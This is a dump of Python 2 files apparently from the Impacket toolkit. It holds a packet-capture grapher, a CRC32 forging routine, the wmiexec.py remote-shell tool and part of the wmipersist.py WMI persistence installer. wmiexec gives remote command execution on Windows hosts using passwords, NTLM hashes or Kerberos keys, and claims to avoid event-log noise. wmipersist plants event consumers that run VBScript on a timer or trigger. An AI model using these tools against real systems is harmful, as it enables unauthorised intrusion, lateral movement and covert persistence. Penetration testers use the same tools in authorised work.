||||
# Query the type of the link and instantiate a decoder accordingly.
|
||||
datalink = self.p.datalink()
|
||||
if pcapy.DLT_EN10MB == datalink:
|
||||
self.decoder = EthDecoder()
|
||||
elif pcapy.DLT_LINUX_SLL == datalink:
|
||||
self.decoder = LinuxSLLDecoder()
|
||||
else:
|
||||
raise Exception("Datalink type not supported: " % datalink)
|
||||
|
||||
self.tk.after(POLL_PERIOD, self.poll)
|
||||
self.tk.after(REFRESH_PERIOD, self.timerDraw);
|
||||
self.tk.bind('q',self.quit)
|
||||
self.tk.mainloop()
|
||||
|
||||
def quit(self,event):
|
||||
self.tk.quit()
|
||||
|
||||
def poll(self,event = None):
|
||||
self.tk.after(POLL_PERIOD, self.poll)
|
||||
received = 0
|
||||
while 1:
|
||||
try:
|
||||
hdr, data = self.p.next()
|
||||
except PcapError, e:
|
||||
break
|
||||
self.newPacket(hdr.getcaplen(), data, hdr.getts()[0])
|
||||
received = 1
|
||||
if received and fast_draws:
|
||||
self.pc.draw()
|
||||
|
||||
def newPacket(self, len, data, timestamp):
|
||||
try:
|
||||
p = self.decoder.decode(data)
|
||||
except Exception, e:
|
||||
pass
|
||||
value = {}
|
||||
try:
|
||||
value['timestamp']=timestamp
|
||||
value['shost']=p.child().get_ip_src()
|
||||
value['dhost']=p.child().get_ip_dst()
|
||||
value['proto']=p.child().child().protocol
|
||||
value['sport']=-1
|
||||
value['dport']=-1
|
||||
except:
|
||||
return
|
||||
|
||||
try:
|
||||
if value['proto'] == socket.IPPROTO_TCP:
|
||||
value['dport']=p.child().child().get_th_dport()
|
||||
value['sport']=p.child().child().get_th_sport()
|
||||
elif value['proto'] == socket.IPPROTO_UDP:
|
||||
value['dport']=p.child().child().get_uh_dport()
|
||||
value['sport']=p.child().child().get_uh_sport()
|
||||
except:
|
||||
pass
|
||||
|
||||
self.pc.addValue(value)
|
||||
|
||||
def setStatus(self,status):
|
||||
self.status.configure(text = status)
|
||||
|
||||
def newSelection(self, selection):
|
||||
if selection:
|
||||
self.setStatus('%s:%s' % (selection[0].name, selection[1]))
|
||||
else:
|
||||
self.setStatus('')
|
||||
|
||||
def getInterfaces():
|
||||
# Grab a list of interfaces that pcap is able to listen on.
|
||||
# The current user will be able to listen from all returned interfaces,
|
||||
# using open_live to open them.
|
||||
ifs = findalldevs()
|
||||
|
||||
# No interfaces available, abort.
|
||||
if 0 == len(ifs):
|
||||
return "You don't have enough permissions to open any interface on this system."
|
||||
|
||||
return ifs
|
||||
|
||||
def printUsage():
|
||||
print """Usage: %s [interface [filter]]
|
||||
Interface is the name of a local network interface, see the list of available interfaces below.
|
||||
Filter is a BPF filter, as described in tcpdump(3)'s man page.
|
||||
|
||||
Available interfaces for this user: %s
|
||||
""" % (sys.argv[0], getInterfaces())
|
||||
|
||||
def main():
|
||||
if len(sys.argv) == 1:
|
||||
printUsage()
|
||||
graph = Tracer()
|
||||
elif len(sys.argv) == 2:
|
||||
graph = Tracer(sys.argv[1])
|
||||
elif len(sys.argv) == 3:
|
||||
graph = Tracer(sys.argv[1],sys.argv[2])
|
||||
else:
|
||||
printUsage()
|
||||
sys.exit(1)
|
||||
graph.start()
|
||||
|
||||
main()
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
#!/usr/bin/env python
|
||||
# based on:
|
||||
#
|
||||
# Reversing CRC - Theory and Practice.
|
||||
# HU Berlin Public Report
|
||||
# SAR-PR-2006-05
|
||||
# May 2006
|
||||
# Authors:
|
||||
# Martin Stigge, Henryk Plotz, Wolf Muller, Jens-Peter Redlich
|
||||
|
||||
FINALXOR = 0xffffffffL
|
||||
INITXOR = 0xffffffffL
|
||||
CRCPOLY = 0xEDB88320L
|
||||
CRCINV = 0x5B358FD3L
|
||||
|
||||
from binascii import crc32
|
||||
from struct import pack
|
||||
|
||||
def tableAt(byte):
|
||||
return crc32(chr(byte ^ 0xff)) & 0xffffffff ^ FINALXOR ^ (INITXOR >> 8)
|
||||
|
||||
def compensate(buf, wanted):
|
||||
wanted ^= FINALXOR
|
||||
|
||||
newBits = 0
|
||||
for i in range(32):
|
||||
if newBits & 1:
|
||||
newBits >>= 1
|
||||
newBits ^= CRCPOLY
|
||||
else:
|
||||
newBits >>= 1
|
||||
|
||||
if wanted & 1:
|
||||
newBits ^= CRCINV
|
||||
|
||||
wanted >>= 1
|
||||
|
||||
newBits ^= crc32(buf) ^ FINALXOR
|
||||
return pack('<L', newBits)
|
||||
|
||||
def main():
|
||||
str = 'HOLA'
|
||||
t = 0x12345678
|
||||
print crc32(str + compensate(str, t)) == t
|
||||
@@ -0,0 +1,404 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# A similar approach to smbexec but executing commands through WMI.
|
||||
# Main advantage here is it runs under the user (has to be Admin)
|
||||
# account, not SYSTEM, plus, it doesn't generate noisy messages
|
||||
# in the event log that smbexec.py does when creating a service.
|
||||
# Drawback is it needs DCOM, hence, I have to be able to access
|
||||
# DCOM ports at the target machine.
|
||||
#
|
||||
# Author:
|
||||
# beto (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# DCOM
|
||||
#
|
||||
|
||||
import sys
|
||||
import os
|
||||
import cmd
|
||||
import argparse
|
||||
import time
|
||||
import logging
|
||||
import string
|
||||
import ntpath
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import version
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
OUTPUT_FILENAME = '__' + str(time.time())
|
||||
CODEC = sys.getdefaultencoding()
|
||||
|
||||
class WMIEXEC:
|
||||
def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
|
||||
noOutput=False, doKerberos=False, kdcHost=None):
|
||||
self.__command = command
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__share = share
|
||||
self.__noOutput = noOutput
|
||||
self.__doKerberos = doKerberos
|
||||
self.__kdcHost = kdcHost
|
||||
self.shell = None
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def run(self, addr):
|
||||
if self.__noOutput is False:
|
||||
smbConnection = SMBConnection(addr, addr)
|
||||
if self.__doKerberos is False:
|
||||
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
else:
|
||||
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
|
||||
|
||||
dialect = smbConnection.getDialect()
|
||||
if dialect == SMB_DIALECT:
|
||||
logging.info("SMBv1 dialect used")
|
||||
elif dialect == SMB2_DIALECT_002:
|
||||
logging.info("SMBv2.0 dialect used")
|
||||
elif dialect == SMB2_DIALECT_21:
|
||||
logging.info("SMBv2.1 dialect used")
|
||||
else:
|
||||
logging.info("SMBv3.0 dialect used")
|
||||
else:
|
||||
smbConnection = None
|
||||
|
||||
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
|
||||
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
|
||||
try:
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
win32Process,_ = iWbemServices.GetObject('Win32_Process')
|
||||
|
||||
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
|
||||
if self.__command != ' ':
|
||||
self.shell.onecmd(self.__command)
|
||||
else:
|
||||
self.shell.cmdloop()
|
||||
except (Exception, KeyboardInterrupt), e:
|
||||
#import traceback
|
||||
#traceback.print_exc()
|
||||
logging.error(str(e))
|
||||
if smbConnection is not None:
|
||||
smbConnection.logoff()
|
||||
dcom.disconnect()
|
||||
sys.stdout.flush()
|
||||
sys.exit(1)
|
||||
|
||||
if smbConnection is not None:
|
||||
smbConnection.logoff()
|
||||
dcom.disconnect()
|
||||
|
||||
class RemoteShell(cmd.Cmd):
|
||||
def __init__(self, share, win32Process, smbConnection):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__share = share
|
||||
self.__output = '\\' + OUTPUT_FILENAME
|
||||
self.__outputBuffer = unicode('')
|
||||
self.__shell = 'cmd.exe /Q /c '
|
||||
self.__win32Process = win32Process
|
||||
self.__transferClient = smbConnection
|
||||
self.__pwd = unicode('C:\\')
|
||||
self.__noOutput = False
|
||||
self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
if self.__transferClient is not None:
|
||||
self.__transferClient.setTimeout(100000)
|
||||
self.do_cd('\\')
|
||||
else:
|
||||
self.__noOutput = True
|
||||
|
||||
def do_shell(self, s):
|
||||
os.system(s)
|
||||
|
||||
def do_help(self, line):
|
||||
print """
|
||||
lcd {path} - changes the current local directory to {path}
|
||||
exit - terminates the server process (and this session)
|
||||
put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
|
||||
get {file} - downloads pathname to the current local dir
|
||||
! {cmd} - executes a local shell cmd
|
||||
"""
|
||||
|
||||
def do_lcd(self, s):
|
||||
if s == '':
|
||||
print os.getcwd()
|
||||
else:
|
||||
try:
|
||||
os.chdir(s)
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
|
||||
def do_get(self, src_path):
|
||||
try:
|
||||
import ntpath
|
||||
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
||||
drive, tail = ntpath.splitdrive(newPath)
|
||||
filename = ntpath.basename(tail)
|
||||
fh = open(filename,'wb')
|
||||
logging.info("Downloading %s\\%s" % (drive, tail))
|
||||
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
|
||||
fh.close()
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
os.remove(filename)
|
||||
pass
|
||||
|
||||
def do_put(self, s):
|
||||
try:
|
||||
params = s.split(' ')
|
||||
if len(params) > 1:
|
||||
src_path = params[0]
|
||||
dst_path = params[1]
|
||||
elif len(params) == 1:
|
||||
src_path = params[0]
|
||||
dst_path = ''
|
||||
|
||||
src_file = os.path.basename(src_path)
|
||||
fh = open(src_path, 'rb')
|
||||
dst_path = string.replace(dst_path, '/','\\')
|
||||
import ntpath
|
||||
pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file)
|
||||
drive, tail = ntpath.splitdrive(pathname)
|
||||
logging.info("Uploading %s to %s" % (src_file, pathname))
|
||||
self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
|
||||
fh.close()
|
||||
except Exception, e:
|
||||
logging.critical(str(e))
|
||||
pass
|
||||
|
||||
def do_exit(self, s):
|
||||
return True
|
||||
|
||||
def emptyline(self):
|
||||
return False
|
||||
|
||||
def do_cd(self, s):
|
||||
self.execute_remote('cd ' + s)
|
||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||
print self.__outputBuffer.decode(CODEC)
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s.decode(sys.stdin.encoding)))
|
||||
self.execute_remote('cd ')
|
||||
self.__pwd = self.__outputBuffer.strip('\r\n').decode(CODEC)
|
||||
self.prompt = unicode(self.__pwd + '>').encode(sys.stdout.encoding)
|
||||
self.__outputBuffer = ''
|
||||
|
||||
def default(self, line):
|
||||
# Let's try to guess if the user is trying to change drive
|
||||
if len(line) == 2 and line[1] == ':':
|
||||
# Execute the command and see if the drive is valid
|
||||
self.execute_remote(line)
|
||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||
# Something went wrong
|
||||
print self.__outputBuffer.decode(CODEC)
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
# Drive valid, now we should get the current path
|
||||
self.__pwd = line
|
||||
self.execute_remote('cd ')
|
||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||
self.prompt = unicode(self.__pwd + '>').encode(sys.stdout.encoding)
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
if line != '':
|
||||
self.send_data(line)
|
||||
|
||||
def get_output(self):
|
||||
def output_callback(data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
if self.__noOutput is True:
|
||||
self.__outputBuffer = ''
|
||||
return
|
||||
|
||||
while True:
|
||||
try:
|
||||
self.__transferClient.getFile(self.__share, self.__output, output_callback)
|
||||
break
|
||||
except Exception, e:
|
||||
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
|
||||
# Output not finished, let's wait
|
||||
time.sleep(1)
|
||||
pass
|
||||
elif str(e).find('Broken') >= 0:
|
||||
# The SMB Connection might have timed out, let's try reconnecting
|
||||
logging.debug('Connection broken, trying to recreate it')
|
||||
self.__transferClient.reconnect()
|
||||
return self.get_output()
|
||||
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = self.__shell + data
|
||||
if self.__noOutput is False:
|
||||
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
||||
self.__win32Process.Create(command.decode(sys.stdin.encoding), self.__pwd, None)
|
||||
self.get_output()
|
||||
|
||||
def send_data(self, data):
|
||||
try:
|
||||
self.execute_remote(data)
|
||||
print self.__outputBuffer.decode(CODEC)
|
||||
except UnicodeDecodeError, e:
|
||||
logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
|
||||
'https://docs.python.org/2.4/lib/standard-encodings.html\nand then execute wmiexec.py '
|
||||
'again with -codec and the corresponding codec')
|
||||
print self.__outputBuffer
|
||||
self.__outputBuffer = ''
|
||||
|
||||
class AuthFileSyntaxError(Exception):
|
||||
|
||||
'''raised by load_smbclient_auth_file if it encounters a syntax error
|
||||
while loading the smbclient-style authentication file.'''
|
||||
|
||||
def __init__(self, path, lineno, reason):
|
||||
self.path=path
|
||||
self.lineno=lineno
|
||||
self.reason=reason
|
||||
|
||||
def __str__(self):
|
||||
return 'Syntax error in auth file %s line %d: %s' % (
|
||||
self.path, self.lineno, self.reason )
|
||||
|
||||
def load_smbclient_auth_file(path):
|
||||
|
||||
'''Load credentials from an smbclient-style authentication file (used by
|
||||
smbclient, mount.cifs and others). returns (domain, username, password)
|
||||
or raises AuthFileSyntaxError or any I/O exceptions.'''
|
||||
|
||||
lineno=0
|
||||
domain=None
|
||||
username=None
|
||||
password=None
|
||||
for line in open(path):
|
||||
lineno+=1
|
||||
|
||||
line = line.strip()
|
||||
|
||||
if line.startswith('#') or line=='':
|
||||
continue
|
||||
|
||||
parts = line.split('=',1)
|
||||
if len(parts) != 2:
|
||||
raise AuthFileSyntaxError(path, lineno, 'No "=" present in line')
|
||||
|
||||
(k,v) = (parts[0].strip(), parts[1].strip())
|
||||
|
||||
if k=='username':
|
||||
username=v
|
||||
elif k=='password':
|
||||
password=v
|
||||
elif k=='domain':
|
||||
domain=v
|
||||
else:
|
||||
raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))
|
||||
|
||||
return (domain, username, password)
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using Windows "
|
||||
"Management Instrumentation.")
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from '
|
||||
'(default ADMIN$)')
|
||||
parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output '
|
||||
'(no SMB connection created)')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
|
||||
'"%s"). If errors are detected, run chcp.com at the target, '
|
||||
'map the result with '
|
||||
'https://docs.python.org/2.4/lib/standard-encodings.html and then execute wmiexec.py '
|
||||
'again with -codec and the corresponding codec ' % CODEC)
|
||||
|
||||
parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will '
|
||||
'launch a semi-interactive shell')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
|
||||
'ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
|
||||
'ommited it use the domain part (FQDN) specified in the target parameter')
|
||||
group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. "
|
||||
"See smbclient man page's -A option.")
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.codec is not None:
|
||||
CODEC = options.codec
|
||||
|
||||
if ' '.join(options.command) == ' ' and options.nooutput is True:
|
||||
logging.error("-nooutput switch and interactive shell not supported")
|
||||
sys.exit(1)
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
|
||||
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in address:
|
||||
password = password + '@' + address.rpartition('@')[0]
|
||||
address = address.rpartition('@')[2]
|
||||
|
||||
try:
|
||||
if options.A is not None:
|
||||
(domain, username, password) = load_smbclient_auth_file(options.A)
|
||||
logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password)))
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
executer = WMIEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,
|
||||
options.share, options.nooutput, options.k, options.dc_ip)
|
||||
executer.run(address)
|
||||
except (Exception, KeyboardInterrupt), e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
logging.error(str(e))
|
||||
sys.exit(0)
|
||||
@@ -0,0 +1,236 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# This script creates/removes a WMI Event Consumer/Filter and link
|
||||
# between both to execute Visual Basic based on the WQL filter
|
||||
# or timer specified.
|
||||
#
|
||||
# Author:
|
||||
# beto (@agsolino)
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# write a file toexec.vbs the following:
|
||||
# Dim objFS, objFile
|
||||
# Set objFS = CreateObject("Scripting.FileSystemObject")
|
||||
# Set objFile = objFS.OpenTextFile("C:\ASEC.log", 8, true)
|
||||
# objFile.WriteLine "Hey There!"
|
||||
# objFile.Close
|
||||
#
|
||||
#
|
||||
# then excute this script this way, VBS will be triggered once
|
||||
# somebody opens calc.exe:
|
||||
#
|
||||
# wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC
|
||||
# -vbs toexec.vbs
|
||||
# -filter 'SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance
|
||||
# ISA "Win32_Process" AND TargetInstance.Name = "calc.exe"'
|
||||
#
|
||||
# or, if you just want to execute the VBS every XXX milliseconds:
|
||||
#
|
||||
# wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC
|
||||
# -vbs toexec.vbs -timer XXX
|
||||
#
|
||||
# to remove the event:
|
||||
# wmipersist.py domain.net/adminuser:mypwd@targetHost remove -name ASEC
|
||||
#
|
||||
# if you don't specify the password, it will be asked by the script.
|
||||
# domain is optional.
|
||||
#
|
||||
# Reference for:
|
||||
# DCOM/WMI
|
||||
|
||||
import sys
|
||||
import argparse
|
||||
import logging
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
|
||||
class WMIPERSISTENCE:
|
||||
def __init__(self, username = '', password = '', domain = '', options= None):
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__options = options
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
if options.hashes is not None:
|
||||
self.__lmhash, self.__nthash = options.hashes.split(':')
|
||||
|
||||
@staticmethod
|
||||
def checkError(banner, resp):
|
||||
if resp.GetCallStatus(0) != 0:
|
||||
logging.error('%s - ERROR (0x%x)' % (banner, resp.GetCallStatus(0)))
|
||||
else:
|
||||
logging.info('%s - OK' % banner)
|
||||
|
||||
def run(self, addr):
|
||||
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
|
||||
options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip)
|
||||
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
if self.__options.action.upper() == 'REMOVE':
|
||||
self.checkError('Removing ActiveScriptEventConsumer %s' % self.__options.name,
|
||||
iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % self.__options.name))
|
||||
|
||||
self.checkError('Removing EventFilter EF_%s' % self.__options.name,
|
||||
iWbemServices.DeleteInstance('__EventFilter.Name="EF_%s"' % self.__options.name))
|
||||
|
||||
self.checkError('Removing IntervalTimerInstruction TI_%s' % self.__options.name,
|
||||
iWbemServices.DeleteInstance(
|
||||
'__IntervalTimerInstruction.TimerId="TI_%s"' % self.__options.name))
|
||||
|
||||
self.checkError('Removing FilterToConsumerBinding %s' % self.__options.name,
|
||||
iWbemServices.DeleteInstance(
|
||||
r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",'
|
||||
r'Filter="__EventFilter.Name=\"EF_%s\""' % (
|
||||
self.__options.name, self.__options.name)))
|
||||
else:
|
||||
activeScript ,_ = iWbemServices.GetObject('ActiveScriptEventConsumer')
|
||||
activeScript = activeScript.SpawnInstance()
|
||||
activeScript.Name = self.__options.name
|
||||
activeScript.ScriptingEngine = 'VBScript'
|
||||
activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
|
||||
activeScript.ScriptText = options.vbs.read()
|
||||
self.checkError('Adding ActiveScriptEventConsumer %s'% self.__options.name,
|
||||
iWbemServices.PutInstance(activeScript.marshalMe()))
|
||||
|
||||
if options.filter is not None:
|
||||
eventFilter,_ = iWbemServices.GetObject('__EventFilter')
|
||||
eventFilter = eventFilter.SpawnInstance()
|
||||
eventFilter.Name = 'EF_%s' % self.__options.name
|
||||
eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
|
||||
eventFilter.Query = options.filter
|
||||
eventFilter.QueryLanguage = 'WQL'
|
||||
eventFilter.EventNamespace = r'root\cimv2'
|
||||
self.checkError('Adding EventFilter EF_%s'% self.__options.name,
|
||||
iWbemServices.PutInstance(eventFilter.marshalMe()))
|
||||
|
||||
else:
|
||||
wmiTimer, _ = iWbemServices.GetObject('__IntervalTimerInstruction')
|
||||
wmiTimer = wmiTimer.SpawnInstance()
|
||||
wmiTimer.TimerId = 'TI_%s' % self.__options.name
|
||||
wmiTimer.IntervalBetweenEvents = int(self.__options.timer)
|
||||
#wmiTimer.SkipIfPassed = False
|
||||
self.checkError('Adding IntervalTimerInstruction',
|
||||
iWbemServices.PutInstance(wmiTimer.marshalMe()))
|
||||
|
||||
eventFilter,_ = iWbemServices.GetObject('__EventFilter')
|
||||
eventFilter = eventFilter.SpawnInstance()
|
||||
eventFilter.Name = 'EF_%s' % self.__options.name
|
||||
eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
|
||||
eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name
|
||||
eventFilter.QueryLanguage = 'WQL'
|
||||
eventFilter.EventNamespace = r'root\subscription'
|
||||
self.checkError('Adding EventFilter EF_%s'% self.__options.name,
|
||||
iWbemServices.PutInstance(eventFilter.marshalMe()))
|
||||
|
||||
filterBinding,_ = iWbemServices.GetObject('__FilterToConsumerBinding')
|
||||
filterBinding = filterBinding.SpawnInstance()
|
||||
filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name
|
||||
filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name
|
||||
filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
|
||||
|
||||
self.checkError('Adding FilterToConsumerBinding',
|
||||
iWbemServices.PutInstance(filterBinding.marshalMe()))
|
||||
|
||||
dcom.disconnect()
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Creates/Removes a WMI Event Consumer/Filter and "
|
||||
"link between both to execute Visual Basic based on the WQL filter or timer specified.")
|
||||
|
||||
parser.add_argument('target', action='store', help='[domain/][username[:password]@]<address>')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
subparsers = parser.add_subparsers(help='actions', dest='action')
|
||||
|
||||
# A start command
|
||||
install_parser = subparsers.add_parser('install', help='installs the wmi event consumer/filter')
|
||||
install_parser.add_argument('-name', action='store', required=True, help='event name')
|
||||
install_parser.add_argument('-vbs', type=argparse.FileType('r'), required=True, help='VBS filename containing the '
|
||||
'script you want to run')
|
||||
install_parser.add_argument('-filter', action='store', required=False, help='the WQL filter string that will trigger'
|
||||
' the script')
|
||||
install_parser.add_argument('-timer', action='store', required=False, help='the amount of milliseconds after the'
|
||||
' script will be triggered')
|
||||
|
||||
# A stop command
|
||||
remove_parser = subparsers.add_parser('remove', help='removes the wmi event consumer/filter')
|
||||
remove_parser.add_argument('-name', action='store', required=True, help='event name')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
|
||||
'ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
|
||||
'ommited it use the domain part (FQDN) specified in the target parameter')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
|
||||
if options.action.upper() == 'INSTALL':
|
||||
if (options.filter is None and options.timer is None) or (options.filter is not None and options.timer is not None):
|
||||
logging.error("You have to either specify -filter or -timer (and not both)")
|
||||
sys.exit(1)
|
||||
|
||||
import re
|
||||
|
||||
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in address:
|
||||
password = password + '@' + address.rpartition('@')[0]
|
||||
address = address.rpartition('@')[2]
|
||||
|
||||
try:
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
